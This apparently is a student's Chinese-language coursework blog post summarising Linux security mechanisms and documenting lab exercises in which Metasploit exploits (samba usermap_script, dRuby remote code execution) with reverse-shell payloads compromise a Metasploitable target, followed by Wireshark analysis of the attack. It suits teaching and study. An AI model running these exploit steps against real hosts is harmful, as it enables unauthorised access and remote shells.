20199136 2019-2020-2 《网络攻防实践》第八周作业
1. 实践内容
1.1 Linux系统结构
Linux操作系统包括:Linux内核、一些GUN运行库和工具、命令行shell、图形界面X窗口系统及相应的桌面环境并包括数千种应用软件。

-
Linux进程与线程管理机制
Linux采用抢占式多用户进程模式,多个进程并发活动,由内核的进程管理模块来负责调度硬件资源进行使用,进程作为最基本的调度单元,维护一个进程控制块结构,由内核schedule进程调度函数来依据进程优先级和CPU等资源情况来选择进程进行执行。
-
Linux的内存管理机制
Linux的内存管理模块MM,允许多个进程安全地共享物理内存区域。Linux支持虚拟内存管理,在32位机器上,每个进程拥有独立的4GB虚拟内存空间,其中内核的代码与数据段被映射到3GB以上的空间,用户态代码申请的虚拟内存空间为0-3GB区间,每个进程使用两套段描述符分别访问内核态和用户态的内存空间。
-
Linux的文件系统管理机制
虚拟文件管理VFS机制,使得其能够支持数十种不同类型的逻辑文件系统,VFS为用户进程提供了一组通用的文件系统调用函数,可以对不同文件系统中的文件进行统一操作。
-
Linux的设备控制机制
处理或者管理硬件控制器的软件叫做设备驱动程序。Linux的一个基本特点是抽象了设备的处理,所有硬件设备都像常规文件一样看待。Linux支持三类硬件设备:字符设备、块设备和网络设备。
-
Linux的网络机制
网络模块提供了对各种网络标准的存取和各种网络硬件的支持。网络接口可分为网络协议栈和网络驱动程序。网络协议栈实现每一种可能的网络传输协议;网络设备驱动程序负责与硬件设备通信,每一种硬件设备都有相应的设备驱动程序。
-
Linux的系统调用机制
Linux提供系统调用接口,允许应用程序透过接口访问硬件设备和其他系统资源,有助于保证Linux系统的稳定可靠和安全,并为用户空间提供了一种统一的抽象接口,有助于应用程序的跨平台移植。
1.2 Linux操作系统安全机制
1.2.1 Linux身份认证
-
Linux用户
root用户:系统中是唯一的超级用户,可以操作系统中任何文件与命令
普通用户:由使用者创建的登录系统并执行基本计算任务的用户,只能操作自己目录中的内容
系统用户:不具有登录系统的能力,但是是系统运行不可缺少的用户
用户信息保存在/etc/password文件中,加密口令存放在/etc/shadow/中,只对root可读
-
Linux用户组
具有相同特征的用户账户集合,用于简化整个系统的用户权限管理,我们可以通过修改文件或目录的权限,让用户组具有一定的操作权限,这样用户组下的用户对该文件或目录都具有相同的权限。用户组的信息保存在系统的/etc/group/文件中,加密口令保存在/etc/gshadow/中。目前Linux系统普遍使用SSH服务来进行远程用户登录与网络访问,SSH提供暗中方式的用户身份认证机制:
(1)基于口令的身份认证;
(2)基于非对称秘钥的身份认证;
(3)Linux本地登录用户认证机制(控制台);
(4)Linux远程登录用户认证机制(ssh服务);
(5)Linux的统一身份认证中间件——PAM
为了能够给不同的应用软件、网络服务提供统一的身份认证机制,Linux系统中提供了PAM作为一种验证用户身份的灵活与标准方法。PAM通过提供一些动态链接库和一套统一的API,将系统提供的服务和该服务的认证方式分开。系统管理员通过PAM配置文件来制定身份认证策略。而PAM服务模块的开发者则利用PAM SPI来编写认证模块。PAM核心库则读取配置文件。PAM支持的四种管理界面如下:
(1)认证管理
(2)账户管理
(3)密码管理
(4)会话管理

1.2.2 Linux授权与访问控制机制
Linux通过VFS虚拟文件系统来实现对不同类别文件系统格式的支持,并同时通过设备文件类型来统一集成对其他类型系统资源的管理。所有文件与设备资源的访问控制都通过VFS虚拟文件系统来实现。在Linux的虚拟文件系统安全模型中,主要通过文件所有者、文件访问权限和一些特殊权限位来进行系统的授权与访问控制。文件的所有者可以通过chown命令进行修改。
文件的访问权限通过所附带的10个标志位来进行设置。每个用户的专属初始目录的默认权限为rwx------。
-
特权常见的是SUID与SGID权限。
SUID权限允许可执行文件在运行时刻从运行者的身份提升至文件所有者权限,可以任意存取文件所有者能使用的全部系统资源
SGID在程序执行时以所有者的组的权限进行运行,该程序就可以任意存取整个用户组能够使用的系统资源
-
Linux访问控制机制的不足及改进
只能将用户分为所有者、所有者所在组和其他用户这三种类别分配权限,而无法做到更细粒度的权限控制。POSIX ACLs for Linux内核补丁软件包能够帮助Linux内核实现ACL权限管理。
1.2.3 Linux安全审计机制
-
主要通过三个日志子系统来实现
-连接时间日志 由多个程序执行,使系统管理员能够跟组谁在何时登录到系统
-进程统计日志 当一个进程终止时,为每个进程往进程统计文件中写一个记录
-错误日志记录 由通用日志记录服务执行

-
Linux系统远程攻防技术
从远程网络侵入Linux系统的主要方法有如下四种:
1)对Linux系统各种网络服务的身份认证过程所涉及的用户口令字进行猜测攻击,从而假冒该用户的身份进入系统
2)发掘Linux系统某个监听网络服务的安全漏洞并进行利用,在攻击目标服务进程中注入攻击负载模块代码进行执行
3)通过网页木马、发送诈欺邮件、提供特洛伊木马程序等技术和社会工程学手段,来攻击客户端程序和用户
4)在Linux系统作为连接多个网络的路由器,或者打开“混杂模式”实施网络嗅探的监听器时,可能遭受攻击者特意构造的数据包攻击
1.3 Linux系统远程攻防技术
Linux远程口令字猜测攻击:针对ssh、telnet、ftp、http等服务的口令猜测攻击是互联网所面临的攻陷系统最普遍的攻击模式。
自动化远程口令猜测工具(brutus、thc hydra、cain and abel) p286
最佳防御措施:使用不宜猜中的强口令字
1.3.1 Linux网络服务远程渗透攻击
系统远程渗透最重要的攻击渠道————对监听网络服务安全漏洞的渗透利用。
1.3.2 Linux系统安全漏洞、渗透攻击与补丁更新过程
Linux的“集市”开发模式使得其安全漏洞生命周期有着显著的特征:
黑客们可以使用一些源代码的安全审计技术与辅助工具
黑客们发现Linux系统软件安全漏洞时,他们的报告途径也需分散汇报给相应的开发团队,可以加快安全漏洞的修复进程,但有些漏洞也会被用于渗透攻击,也是会造成Linux系统最重要的安全威胁
Linux支持apt-get 、yum等在线更新机制,但仍需管理员关注安全漏洞与软件更新情况进行手动升级,通过crond等服务来预制软件升级更新业务
1.3.3 针对Linux系统网络服务的远程渗透攻击
-
Linux内核中的网络协议栈的实现
Linux内核中的网络协议栈实现是每个网络服务所依赖的基础平台,因此一旦这些代码中存在具有远程代码执行危害后果的安全漏洞。
-
LAMP Web网站构建解决方案中的网络服务
LAMP是目前最流行的web网站构建解决方案,以Linux操作系统作为网站服务器运行平台,Apache提供基于HTTP/HTTPS的网页服务,MySQL数据库管理系统作为web应用程序的后台数据存储,而以PHP语言来开发与实现web应用程序。正是由于LAMP组合方案在web服务器中的主导地位,使得组合内服务扩展模块成为Linux系统主要的远程攻击渗透目标。
-
FTP Samba等文件共享服务
Linux系统支持多种不同的文件共享服务协议,例如FTP服务,与Windows的SMB协议相兼容从而支持Windows网络访问Samba服务,以及类UNIX系统中继承而来的NFS服务。这些服务在web网站服务器、企业内部文件服务器等存储有企业组织核心数据资产的关键Linux系统中往往比较常见,因此也成为黑客们破解这些关键系统必须尝试的攻击通道。
FTP服务是互联网上非常古老的网络服务,用于文件交换和共享传输。
Samba是用来让Linux等操作系统与微软Windows系统SMB/CIFS网络协议相连接的网络服务。
-
电子邮件收发服务
sendmail服务是类UNIX操作系统上最为流行的电子邮件收发服务
-
其他网络服务
其他常用的网络服务有:
openssh tcp22
openssl tcp443
nfs tcp/udp2049
snmp tcp161/162
sunrpc tcp111
bind tcp/udp53
x-windows tcp6000
1.3.4 Linux网络服务远程渗透攻击的安全防范措施
-禁用所有不需要的网络服务
-尽量选择更加安全的网络协议与服务软件,并使用最佳安全实践进行部署
-及时更新网络服务版本
-使用xinetd、防火墙为Linux网络服务添加网络访问控制机制
-建立入侵检测与应急响应计划流程
-
针对路由器与监听器攻击的安全防范措施
网络与安全设备自身的安全性与可用性非常重要,对于维护网络中的设备,应及时关注厂商的安全威胁报告,并对已发现的安全问题进行修补。
网络管理员在构建网络安全防御、检测与相应体系时,应站在攻击者角度,掌握攻击者的渗透入侵技术手段,尝试进行渗透攻击。
1.4 Linux系统本地安全攻防技术
1.4.1 Linux本地特权提升
攻击者得到本地受限用户访问特权后,最简单的特权提升途径就是破解出Root用户的口令,并执行su sudo命令进行提升
发掘并利用su或sudo程序中的安全漏洞
直接攻击具有root特权程序中任意代码执行漏洞,打开具有root特权的shell命令行
攻击用户态SUID特权提升漏洞
攻击Linux内核代码特权提升漏洞
从系统中搜索全局可写的敏感文件与目录位置并加以利用
-
Linux用户口令字破解
/etc/shadow文件中记录行是与/etc/passwd文件一一对应的,每一行记录着Linux系统中一个用户账户的登录凭证密文信息

其中最关键的字段是“口令”字段,以“$”作为分隔符,又分为使用算法编号、salt值和加密之后的口令哈希值。
破解Linux用户口令的前提条件是攻击者可以获得/etc/shadow文件,在攻击者只有受限用户账户时,无法直接读取/etc/shadow文件,但是可以通过利用一些特权运行本地服务进程中的任意文件读/写漏洞,来帮助他们获得口令密文文件的副本。
1.4.2 Linux系统上的消踪灭迹
Linux系统的主要审计日志集中的/var/log目录下,主要有系统核心进程、syslogd与各个网络服务提供事件审计功能。攻击者在攻陷Linux系统后,通常不希望给系统管理员留下自己的入侵记录,因而往往会去清理系统上的日志目录,从而有效地抹除掉自己的行动踪迹。
攻击者还需要清理的是自己在shell程序中所输入的命令历史记录,Linux系统中的很多shell程序都记录运行过的历史命令,以提供检索和重复执行命令的功能。
1.4.3 Linux系统远程控制后门程序
-
Linux系统上植入远程控制后门程序的类型主要有:
特洛伊木马化系统程序
命令行后门工具以及图形化后门工具
最常见的Linux系统后门是提供远程命令行shell的访问,通常是使用Netcat等后门工具在系统上运行,开放监听一个TCP端口,在接收到请求之后返回一个Linux系统shell与客户端进行交互。
Linux上图形化后门程序,最为常用的是图形化远程控制免费软件VNC。
2. 实践过程
实践一:使用Metaploit进行Linux远程渗透攻击
- 使用Metaspolit作为渗透测试软件,攻击Linux靶机上的Samba服务usermap_script安全漏洞,获取Linux靶机的主机访问权限。实践步骤如下:
1)使用exploit:exploit/multi/samba/usermap_script渗透攻击模块
2)选择攻击PAYLOAD为远程shell
3)设置攻击参数
4)执行攻击
5)查看是否得到正确的远程shell
双方IP地址:攻击机kali:192.168.200.2 , 靶机Metasploitable:192.168.200.125
- 在Metaspolit上通过指令
msfconsole启动软件,然后通过指令use exploit/multi/samba/usermap_script使用渗透攻击模块
![]()
- 设置攻击的
PAYLOAD为cmd/unix/reverse
![]()
- 设置攻击参数
RHOST为192.168.200.124,LHOST为192.168.200.2然后通过指令run进行攻击
![]()
- 然后通过命令
whoami来查看当前账户
![]()
实践二:攻防对抗实践
1)攻击方使用Metasploit渗透软件针对Linux Metasploitable靶机试试网络攻击,防御方在Metasploitable上使用wireshark捕获攻击流
2)攻击方:使用Metasploit选择Metasploitable靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得Root权限。
3)防守方:使用wireshark监听获得网络攻击的数据包文件,并结合wireshark分析攻击过程,获得攻击者的IP地址,目标IP端口、攻击发起时间、攻击利用漏洞、使用shellcode,以及成功之后在本地执行命令输入等信息
- 首先使用nmap -sV 192.168.200.125扫描靶机,查看开放的端口,及端口上程序的版本
![]()
- 启动nessus,使用nessus去扫描靶机上的漏洞
![]()
![]()
在上述漏洞中选择dRuby漏洞作为攻击漏洞,在msfconsole中首先使用search drb,然后使用use exploit/linux/misc/drb_remote_codeexec使用渗透攻击模块。通过指令set PAYLOAD cmd/unix/reverse设置攻击负载,设置靶机IP set RHOST 192.168.200.125, 并设置攻击机IP set LHOST 192.168.200.2
- Ruby一种为简单快捷的面向对象编程(面向对象程序设计)而创的脚本语言。
Ruby 2.4.3之前版本在实现上存在Net::FTP命令注入漏洞,Net::FTP#get, getbinaryfile, gettextfile, put, putbinaryfile, puttextfile使用Kernel#open打开本地文件。若localfile参数以"|" 字符开始,则该字符后的命令会随之执行。localfile默认值是File.basename(remotefile),所以恶意的FTP服务器会造成任意命令执行。
并通过指令run开启攻击


打开shell,通过id查看shell权限账户及其所在的权限组,通过指令whoami发现执行权限是root,使用指令ifconfig可查看靶机的网络


分析wireshark的流量,可以发现攻击方的ip地址为192.168.200.2.攻击连接的端口是8787。

进一步筛选条件ip.src==192.168.200.2 or ip.src==192.168.200.125,查看第一个数据包可得到攻击发起的时间是2020/4/23/1:28:48

通过端口号8787来查看nmap的结果,可得知这个端口是druby服务的端口,进而得知这是针对drb漏洞的攻击。
在wireshark抓包的过程中我们可以看到两个shellcode,第一次攻击失败

第二次可以看到连接成功

在最后的数据包中,可以看到先前指令ifconfig的痕迹

3. 学习中遇到的问题及解决
问题1:不太清楚怎么根据漏洞进行攻击
问题1解决方案:用nessus扫描存在的漏洞,一个一个尝试,文中dRuby漏洞选择是抄同学的
4. 实践总结
这次的实验和上次的过程很像,感觉不管是Windows还是Linux系统,原理都是相通的,所以掌握技术原理还是很重要的,然后就是需要学会分析问题。








浙公网安备 33010602011771号